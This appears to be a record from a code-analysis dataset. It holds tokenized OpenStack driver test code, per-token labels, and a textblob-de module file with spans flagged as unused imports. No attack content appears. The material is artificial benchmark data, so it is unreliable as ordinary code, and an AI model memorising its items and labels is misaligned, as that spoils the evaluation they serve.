"\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "node_", "._", "created", "\\u", "at_", ",_", "datetime_", "._", "datetime_", "(_", "2011_", ",_", "10_", ",_", "11_", ",_", "0_", ",_", "51_", ",_", "39_", ",_", "tzinfo_", "=_", "UTC_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "node_", "._", "extra_", "._", "get_", "(_", "'", "flavor", "Id", "'_", ")_", ",_", "'", "2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "node_", "._", "extra_", "._", "get_", "(_", "'", "image", "Id", "'_", ")_", ",_", "'", "7", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "node_", "._", "extra_", "._", "get_", "(_", "'", "metadata", "'_", ")_", ",_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "node_", "._", "extra_", "[_", "'", "update", "d", "'_", "]_", ",_", "'", "2011", "-1", "0", "-1", "1", "T", "00", ":", "50", ":", "04", "Z", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "node_", "._", "extra_", "[_", "'", "created", "'_", "]_", ",_", "'", "2011", "-1", "0", "-1", "1", "T", "00", ":", "5", "1", ":", "3", "9", "Z", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "node_", "._", "extra_", "._", "get_", "(_", "'", "user", "Id", "'_", ")_", ",_", "'", "rs", "-", "reach", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "node_", "._", "extra_", "._", "get_", "(_", "'", "host", "Id", "'_", ")_", ",_", "'", "912", "566", "d8", "3a", "13", "fb", "b3", "5", "7e", "a", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "3f", "13", "c6", "293", "6", "3d", "9", "f7", "e1", "ba", "3f", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "925", "b4", "9", "f3", "d2", "ab", "725", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "node_", "._", "extra_", "._", "get_", "(_", "'", "disk", "\\u", "config", "'_", ")_", ",_", "'", "AUTO", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "node_", "._", "extra_", "._", "get_", "(_", "'", "task", "\\u", "state", "'_", ")_", ",_", "'", "spawn", "ing", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "node_", "._", "extra_", "._", "get_", "(_", "'", "vm", "\\u", "state", "'_", ")_", ",_", "'", "active", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "node_", "._", "extra_", "._", "get_", "(_", "'", "power", "\\u", "state", "'_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "node_", "._", "extra_", "._", "get_", "(_", "'", "progress", "'_", ")_", ",_", "25_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "node_", "._", "extra_", "._", "get_", "(_", "'", "fault", "'_", ")_", "[_", "'", "id", "'_", "]_", ",_", "1234_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "node_", "._", "extra_", "._", "get_", "(_", "'", "service", "\\u", "name", "'_", ")_", "is_", "not_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "node_", "._", "extra_", "._", "get_", "(_", "'", "uri", "'_", ")_", "is_", "not_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Open", "Stack", "\\u", "1", "\\u", "1", "\\u", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ",_", "Test", "Case", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "\\u", "key", "\\u", "pairs_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "keypairs", "_", "=_", "self_", "._", "driver_", "._", "list", "\\u", "key", "\\u", "pairs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "keypairs", "_", ")_", ",_", "2_", ",_", "'", "Wro", "ng", " ", "keypairs", " ", "count", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "keypair_", "=_", "keypairs", "_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "keypair_", "._", "name_", ",_", "'", "key", "2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "keypair_", "._", "fingerprint_", ",_", "'", "5d", ":", "6", "6", ":", "3", "3", ":", "ae", ":", "9", "9", ":", "0f", ":", "fb", ":", "cb", ":", "86", ":", "f2", ":", "bc", ":", "ae", ":", "5", "3", ":", "9", "9", ":", "b6", ":", "ed", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "keypair_", "._", "public", "\\u", "key_", ")_", ">_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "keypair_", "._", "private", "\\u", "key_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Open", "Stack", "\\u", "1", "\\u", "1", "\\u", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ",_", "Test", "Case", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "key", "\\u", "pair_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "'", "key", "0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "keypair_", "=_", "self_", "._", "driver_", "._", "create", "\\u", "key", "\\u", "pair_", "(_", "name_", "=_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "keypair_", "._", "name_", ",_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "keypair_", "._", "fingerprint_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "80", ":", "f8", ":", "03", ":", "a7", ":", "8e", ":", "c1", ":", "c3", ":", "b1", ":", "7e", ":", "c5", ":", "8c", ":", "50", ":", "04", ":", "5e", ":", "1c", ":", "5b", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "keypair_", "._", "public", "\\u", "key_", ")_", ">_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "keypair_", "._", "private", "\\u", "key_", ")_", ">_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Open", "Stack", "\\u", "1", "\\u", "1", "\\u", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ",_", "Test", "Case", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "ex", "\\u", "paus", "e\\u", "node_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node_", "=_", "Node_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "id_", "=_", "'", "120", "6", "3", "'_", ",_", "name_", "=_", "None_", ",_", "state_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "public", "\\u", "ips_", "=_", "None_", ",_", "private", "\\u", "ips_", "=_", "None_", ",_", "driver_", "=_", "self_", "._", "driver_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "driver_", "._", "ex", "\\u", "paus", "e\\u", "node_", "(_", "node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", "is_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Open", "Stack", "\\u", "1", "\\u", "1", "\\u", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ",_", "Test", "Case", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "ex", "\\u", "unpa", "use", "\\u", "node_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node_", "=_", "Node_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "id_", "=_", "'", "120", "6", "3", "'_", ",_", "name_", "=_", "None_", ",_", "state_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "public", "\\u", "ips_", "=_", "None_", ",_", "private", "\\u", "ips_", "=_", "None_", ",_", "driver_", "=_", "self_", "._", "driver_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "driver_", "._", "ex", "\\u", "unpa", "use", "\\u", "node_", "(_", "node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", "is_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Open", "Stack", "\\u", "1", "\\u", "1", "\\u", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ",_", "Test", "Case", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "ex", "\\u", "suspend", "\\u", "node_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node_", "=_", "Node_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "id_", "=_", "'", "120", "6", "3", "'_", ",_", "name_", "=_", "None_", ",_", "state_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "public", "\\u", "ips_", "=_", "None_", ",_", "private", "\\u", "ips_", "=_", "None_", ",_", "driver_", "=_", "self_", "._", "driver_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "driver_", "._", "ex", "\\u", "suspend", "\\u", "node_", "(_", "node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", "is_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Open", "Stack", "\\u", "1", "\\u", "1", "\\u", "Tests_", "(_", "unittest_", "._", "Test", "Case_", ",_", "Test", "Case", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "ex", "\\u", "resum", "e\\u", "node_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "node_", "=_", "Node_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "id_", "=_", "'", "120", "6", "3", "'_", ",_", "name_", "=_", "None_", ",_", "state_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "public", "\\u", "ips_", "=_", "None_", ",_", "private", "\\u", "ips_", "=_", "None_", ",_", "driver_", "=_", "self_", "._", "driver_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "self_", "._", "driver_", "._", "ex", "\\u", "resum", "e\\u", "node_", "(_", "node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "ret_", "is_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Open", "Stack", "\\u", "1", "\\u", "1", "\\u", "Moc", "k", "Http_", "(_", "Moc", "k", "Http", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "v1", "\\u", "1", "\\u", "slug", "\\u", "server", "s", "\\u", "120", "6", "6", "\\u", "action_", "(_", "self_", ",_", "method_", ",_", "url_", ",_", "body_", ",_", "headers_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "method_", "!=_", "\"", "POST", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "'", "HTTP", " ", "method", " ", "other", " ", "than", " ", "POST", " ", "to", " ", "action", " ", "URL", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"", "rebu", "ild", "\"_", "not_", "in_", "json_", "._", "loads_", "(_", "body_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail_", "(_", "\"", "Di", "d", " ", "not", " ", "get", " ", "expected", " ", "action", " ", "(", "rebu", "ild", ")", " ", "in", " ", "action", " ", "URL", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'\\\\\"", "OS", "-", "DC", "F", ":", "disk", "Config", "\\\\\":", " ", "\\\\\"", "MANU", "AL", "\\\\\"'_", "in_", "body_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "msg_", "=_", "\"", "Manu", "al", " ", "disk", " ", "configura", "tion", " ", "option", " ", "was", " ", "not", " ", "specified", " ", "in", " ", "rebu", "ild", " ", "body", ":", " ", "\"_", "+_", "body_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
markuskiller/textblob-de/textblob_de/ext/_pattern/__init__.py
[ { "content": "# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\n#### PATTERN #######################################################################################\n\n# Authors: Tom De Smedt <tom@organisms.be>, Walter Daelemans <walter.daelemans@ua.ac.be>\n# License: BSD License, see LICENSE.txt\n\n# Source: https://github.com/clips/pattern/pattern/__init__.py\n# git-commit: 2013-10-26 (2f44c5a)\n\n# Modified: 2014-08-04 Markus Killer <m.killer@langui.ch>\n\n\n#### BSD LICENSE ###################################################################################\n\n# Copyright (c) 2010 University of Antwerp, Belgium\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n# \n# * Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the above copyright \n# notice, this list of conditions and the following disclaimer in\n# the documentation and/or other materials provided with the\n# distribution.\n# * Neither the name of Pattern nor the names of its\n# contributors may be used to endorse or promote products\n# derived from this software without specific prior written\n# permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n# \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n# COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n# ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n# CLiPS Computational Linguistics Group, University of Antwerp, Belgium\n# http://www.clips.ua.ac.be/pages/pattern\n\n### CREDITS ########################################################################################\n\n# Minor modifications to integrate pattern into 'textblob-de' without losing \n# compatibility with pattern2.6 on Python2, providing a working interface\n# to pattern.text.de on Python3 (pattern2.6 does not yet\n# install on Python3) \n__maintainer__ = \"Markus Killer <m.killer@langui.ch>\"\n\n__author__ = \"Tom De Smedt\"\n__credits__ = \"Tom De Smedt, Walter Daelemans\"\n__version__ = \"2.6 for textblob-de\"\n__copyright__ = \"Copyright (c) 2010 University of Antwerp (BE)\"\n__license__ = \"BSD\"\n\n####################################################################################################\nimport os\nimport sys\n\nimport _pattern.text\n\nfrom _pattern.text import de\nfrom _pattern.text import tree\nfrom _pattern.text import search\n\n# Shortcut to _pattern.de\n# (instead of _pattern.text.de)\ntry: \n __path__.append(os.path.join(__path__[0], \"text\"))\nexcept:\n pass", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import sys", "start_line": 64, "start_column": 0, "end_line": 64, "end_column": 10 }, { "span": "import _pattern.text", "start_line": 66, "start_column": 0, "end_line": 66, "end_column": 20 }, { "span": "from _pattern.text import de", "start_line": 68, "start_column": 0, "end_line": 68, "end_column": 28 }, { "span": "from _pattern.text import tree", "start_line": 69, "start_column": 0, "end_line": 69, "end_column": 30 }, { "span": "from _pattern.text import search", "start_line": 70, "start_column": 0, "end_line": 70, "end_column": 32 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "abs", "olute", "\\u", "import_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###", "#", " ", "PATTERN", " ", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "#########", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Author", "s", ":", " ", "Tom", " ", "De", " ", "Sm", "edt", " ", "<", "tom", "@", "organism", "s", ".", "be", ">", ",", " ", "Wal", "ter", " ", "Da", "elem", "ans", " ", "<", "wal", "ter", ".", "dae", "lema", "ns", "@", "ua", ".", "ac", ".", "be", ">_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", ":", " ", "BS", "D", " ", "License", ",", " ", "see", " ", "LICENSE", ".", "txt_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sou", "rce", ":", " ", "https", "://", "git", "hub", ".", "com", "/", "clips", "/", "pattern", "/", "pattern", "/\\u", "\\u", "init", "\\u\\u", ".", "py_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "git", "-", "commit", ":", " ", "2013", "-1", "0", "-", "2", "6", " ", "(", "2f", "4", "4c", "5a", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Modifie", "d", ":", " ", "2014", "-0", "8", "-0", "4", " ", "Mark", "us", " ", "Kill", "er", " ", "<", "m", ".", "kille", "r", "@", "lang", "ui", ".", "ch", ">_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###", "#", " ", "BS", "D", " ", "LICENSE", " ", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "######", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "c", ")", " ", "2010", " ", "Univers", "it", "y", " ", "of", " ", "Ant", "wer", "p", ",", " ", "Bel", "gi", "um_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "All", " ", "rights", " ", "reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "Redistributi", "on", " ", "and", " ", "use", " ", "in", " ", "source", " ", "and", " ", "binar", "y", " ", "forms", ",", " ", "with", " ", "or", " ", "with", "out_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "modification", ",", " ", "are", " ", "permit", "ted", " ", "provided", " ", "tha", "t", " ", "the", " ", "follow", "ing", " ", "condition", "s", " ", "are", " ", "met", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "*", " ", "Redistributi", "ons", " ", "of", " ", "source", " ", "code", " ", "must", " ", "retain", " ", "the", " ", "above", " ", "copyright_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "notice", ",", " ", "this", " ", "list", " ", "of", " ", "condition", "s", " ", "and", " ", "the", " ", "follow", "ing", " ", "discl", "aime", "r", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "*", " ", "Redistributi", "ons", " ", "in", " ", "binar", "y", " ", "form", " ", "must", " ", "reproduce", " ", "the", " ", "above", " ", "copyr", "ight", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "notice", ",", " ", "this", " ", "list", " ", "of", " ", "condition", "s", " ", "and", " ", "the", " ", "follow", "ing", " ", "discl", "aime", "r", " ", "in_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "the", " ", "documentation", " ", "and", "/", "or", " ", "other", " ", "material", "s", " ", "provided", " ", "with", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "distribu", "tion", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "*", " ", "Nei", "ther", " ", "the", " ", "name", " ", "of", " ", "Pat", "tern", " ", "nor", " ", "the", " ", "names", " ", "of", " ", "its_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "contributor", "s", " ", "may", " ", "be", " ", "used", " ", "to", " ", "endo", "rse", " ", "or", " ", "promote", " ", "products_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "derive", "d", " ", "from", " ", "this", " ", "software", " ", "with", "out", " ", "specific", " ", "prior", " ", "written_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "permissi", "on", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "THIS", " ", "SOFT", "WARE", " ", "IS", " ", "PROVI", "DED", " ", "BY", " ", "THE", " ", "COPY", "RIG", "HT", " ", "HOLD", "ERS", " ", "AND", " ", "CONTRIB", "UTO", "RS_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "\"", "AS", " ", "IS", "\"", " ", "AND", " ", "ANY", " ", "EXPR", "ESS", " ", "OR", " ", "IMPL", "IED", " ", "WAR", "RAN", "TIES", ",", " ", "INC", "LU", "DING", ",", " ", "BUT", " ", "NOT", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "LIMIT", "ED", " ", "TO", ",", " ", "THE", " ", "IMPL", "IED", " ", "WAR", "RAN", "TIES", " ", "OF", " ", "MER", "CHAN", "TAB", "ILI", "TY", " ", "AND", " ", "FIT", "NESS", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "FOR", " ", "A", " ", "PARTI", "CUL", "AR", " ", "PUR", "POS", "E", " ", "ARE", " ", "DISC", "LAI", "MED", ".", " ", "IN", " ", "NO", " ", "EVENT", " ", "SHA", "LL", " ", "THE", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "COPY", "RIG", "HT", " ", "OWNER", " ", "OR", " ", "CONTRIB", "UTO", "RS", " ", "BE", " ", "LI", "AB", "LE", " ", "FOR", " ", "ANY", " ", "DIRECT", ",", " ", "INDI", "RECT", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "INC", "IDENT", "AL", ",", " ", "SPECIAL", ",", " ", "EXE", "MPL", "ARY", ",", " ", "OR", " ", "CONS", "EQU", "ENTI", "AL", " ", "DA", "MAGE", "S", " ", "(", "INC", "LU", "DING", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "BUT", " ", "NOT", " ", "LIMIT", "ED", " ", "TO", ",", " ", "PROC", "URE", "MENT", " ", "OF", " ", "SUBST", "ITU", "TE", " ", "GOOD", "S", " ", "OR", " ", "SERVICES", ";_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "LOSS", " ", "OF", " ", "USE", ",", " ", "DATA", ",", " ", "OR", " ", "PROF", "IT", "S", ";", " ", "OR", " ", "BUS", "INE", "SS", " ", "INTER", "RU", "PTION", ")", " ", "HO", "WE", "VER_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "CAU", "SED", " ", "AND", " ", "ON", " ", "ANY", " ", "THE", "ORY", " ", "OF", " ", "LI", "ABI", "LIT", "Y", ",", " ", "WHE", "THER", " ", "IN", " ", "CONTR", "ACT", ",", " ", "STRI", "CT_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "LI", "ABI", "LIT", "Y", ",", " ", "OR", " ", "TOR", "T", " ", "(", "INC", "LU", "DING", " ", "NEG", "LIG", "ENCE", " ", "OR", " ", "OTHER", "WI", "SE", ")", " ", "ARI", "SIN", "G", " ", "IN_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "ANY", " ", "WAY", " ", "OUT", " ", "OF", " ", "THE", " ", "USE", " ", "OF", " ", "THIS", " ", "SOFT", "WARE", ",", " ", "EVE", "N", " ", "IF", " ", "ADV", "ISE", "D", " ", "OF", " ", "THE", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "POS", "SIB", "ILI", "TY", " ", "OF", " ", "SUC", "H", " ", "DA", "MAGE", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "CL", "i", "PS", " ", "Computation", "al", " ", "Lin", "gui", "stic", "s", " ", "Group", ",", " ", "Univers", "it", "y", " ", "of", " ", "Ant", "wer", "p", ",", " ", "Bel", "gi", "um_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "http", "://", "www", ".", "clips", ".", "ua", ".", "ac", ".", "be", "/", "page", "s", "/", "pattern_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###", " ", "CRED", "IT", "S", " ", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "###########", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Min", "or", " ", "modification", "s", " ", "to", " ", "integrate", " ", "pattern", " ", "int", "o", " ", "'", "textb", "lob", "-", "de", "'", " ", "with", "out", " ", "los", "ing", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "compatibility", " 